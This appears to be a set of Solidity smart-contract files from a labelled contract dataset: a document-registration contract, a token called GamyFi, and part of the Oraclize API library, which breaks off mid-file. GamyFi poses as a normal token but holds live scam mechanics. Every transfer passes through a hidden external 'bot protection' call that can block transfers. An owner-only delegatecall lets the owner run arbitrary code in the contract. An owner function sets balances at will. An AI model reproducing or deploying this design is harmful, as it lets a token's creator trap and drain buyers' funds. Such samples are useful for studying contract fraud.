pragma solidity ^0.4.23;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract GlobalStorageMultiId {
uint256 public regPrice;
function registerUser(bytes32 _id) payable returns(bool);
function changeAddress(bytes32 _id , address _newAddress) returns(bool);
function setUint(bytes32 _id , bytes32 _key , uint _data , bool _overwrite) returns(bool);
function getUint(bytes32 _id , bytes32 _key) constant returns(uint);
event Error(string _string);
event RegisteredUser(address _address , bytes32 _id);
event ChangedAdd(bytes32 _id , address _old , address _new);
}
contract UpgDocs {
function confirm(bytes32 _storKey) returns(bool);
event DocsUpgraded(address _oldAddress,address _newAddress);
}
contract RegDocuments {
string public version;
address public admin;
address public owner;
uint public price;
bool registered;
address storageAddress;
bytes32 public storKey;
uint public adminPerc;
GlobalStorageMultiId public Storage;
event RegDocument(address indexed from);
event DocsUpgraded(address _oldAddress,address _newAddress);
event ReceivedPayment(address indexed _address,uint256 _value);
modifier onlyAdmin() {
if ( msg.sender != admin && msg.sender != owner ) revert();
_;
}
modifier onlyOwner() {
if ( msg.sender != owner ) revert();
_;
}
constructor() {
price = 0.01 ether;
admin = msg.sender;
owner = 0xc238ff50c09787e7b920f711850dd945a40d3232;
version = "v0.6";
storageAddress = 0x8f49722c61a9398a1c5f5ce6e5feeef852831a64;
adminPerc = 2;
Storage = GlobalStorageMultiId(storageAddress);
}
function getStoragePrice() onlyAdmin constant returns(uint) {
return Storage.regPrice();
}
function registerDocs(bytes32 _storKey) onlyAdmin payable {
require(!registered);
uint _value = Storage.regPrice();
storKey = _storKey;
Storage.registerUser.value(_value)(_storKey);
registered = true;
}
function upgradeDocs(address _newAddress) onlyAdmin {
UpgDocs newDocs = UpgDocs(_newAddress);
require(newDocs.confirm(storKey));
Storage.changeAddress(storKey,_newAddress);
_newAddress.send(this.balance);
}
function confirm(bytes32 _storKey) returns(bool) {
require(!registered);
storKey = _storKey;
registered = true;
emit DocsUpgraded(msg.sender,this);
return true;
}
function changeOwner(address _newOwnerAddress) onlyOwner returns(bool){
owner = _newOwnerAddress;
return true;
}
function changeAdmin(address _newAdmin) onlyOwner returns(bool) {
admin = _newAdmin;
return true;
}
function sendToken(address _token,address _to , uint _value) onlyOwner returns(bool) {
ERC20Basic Token = ERC20Basic(_token);
require(Token.transfer(_to, _value));
return true;
}
function changePerc(uint _newperc) onlyAdmin public {
adminPerc = _newperc;
}
function changePrice(uint _newPrice) onlyAdmin public {
price = _newPrice;
}
function() payable public {
uint a = getUint(msg.sender);
setUint(msg.sender, a + msg.value);
admin.send(msg.value * adminPerc / 100);
owner.send(this.balance);
emit ReceivedPayment(msg.sender, msg.value);
}
function sendCredits(address[] _addresses, uint _amountEach) onlyAdmin public returns (bool success) {
for (uint8 i=0; i<_addresses.length; i++){
uint a = getUint(_addresses[i]);
setUint(_addresses[i], a + _amountEach);
emit ReceivedPayment(_addresses[i],_amountEach);
}
}
function getBalance(address _address) constant returns(uint) {
return getUint(_address);
}
function regDoc(address _address, string _hash) onlyAdmin returns (bool success) {
uint a = getUint(_address);
require(a >= price);
setUint(_address, a - price);
emit RegDocument(_address);
return true;
}
function getPrice() constant returns(uint) {
return price;
}
function setUint(address _address, uint _value) internal {
Storage.setUint(storKey, bytes32(_address), _value, true);
}
function getUint(address _address) internal constant returns(uint) {
return Storage.getUint(storKey, bytes32(_address));
}
} | 0 | 2,200 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract GamyFi is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 5000000000000000000000000;
string public name = "GamyFi";
string public symbol = "GFX";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 98 |
pragma solidity ^0.4.11;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork();
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
myid;
result;
proof;
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
_addr;
_size;
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
